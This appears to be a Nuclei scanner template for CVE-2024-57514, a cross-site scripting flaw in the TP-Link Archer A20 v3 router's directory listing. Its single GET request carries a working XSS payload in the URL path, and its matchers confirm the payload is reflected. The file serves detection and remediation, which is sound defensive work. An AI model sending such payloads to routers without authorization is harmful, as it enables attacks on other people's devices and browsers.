id: CVE-2024-57514

info:
  name: TP-Link Archer A20 v3 Router - Cross-site Scripting
  author: s4e-io
  severity: medium
  description: |
    The TP-Link Archer A20 v3 router is vulnerable to Cross-site Scripting (XSS) due to improper handling of directory listing paths in the web interface. When a specially crafted URL is visited, the router's web page renders the directory listing and executes arbitrary JavaScript embedded in the URL. This allows the attacker to inject malicious code into the page, executing JavaScript on the victim's browser, which could then be used for further malicious actions. The vulnerability was identified in the 1.0.6 Build 20231011 rel.85717(5553) version.
  impact: |
    Authenticated attackers can inject malicious JavaScript into directory listing pages, executing arbitrary code in victim browsers when they visit crafted URLs.
  remediation: |
    Update TP-Link Archer A20 v3 router to firmware version later than 1.0.6 Build 20231011 that addresses the XSS vulnerability.
  reference:
    - https://www.zyenra.com/blog/xss-in-tplink-archer-a20.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57514
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-57514
    cwe-id: CWE-79
    epss-score: 0.00875
    epss-percentile: 0.5544
  metadata:
    max-request: 1
    vendor: tp-link
    product: tp-link-archer-a20-v3-router
  tags: cve,cve2024,tplink,router,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/<style%20onload=alert`document.domain`;>../..%2f"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<style onload=alert`document.domain`;", "Index of")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402202930146375d7e4302ce5f4021ffbe6900f96714ab7d811a99431e224a195cd5902207c09bf38b0a3892e895bf14b6d87879d5b2a0e7715a5a4ba7bf51e17f8fc9d19:922c64590222798bb761d5b6d8e72950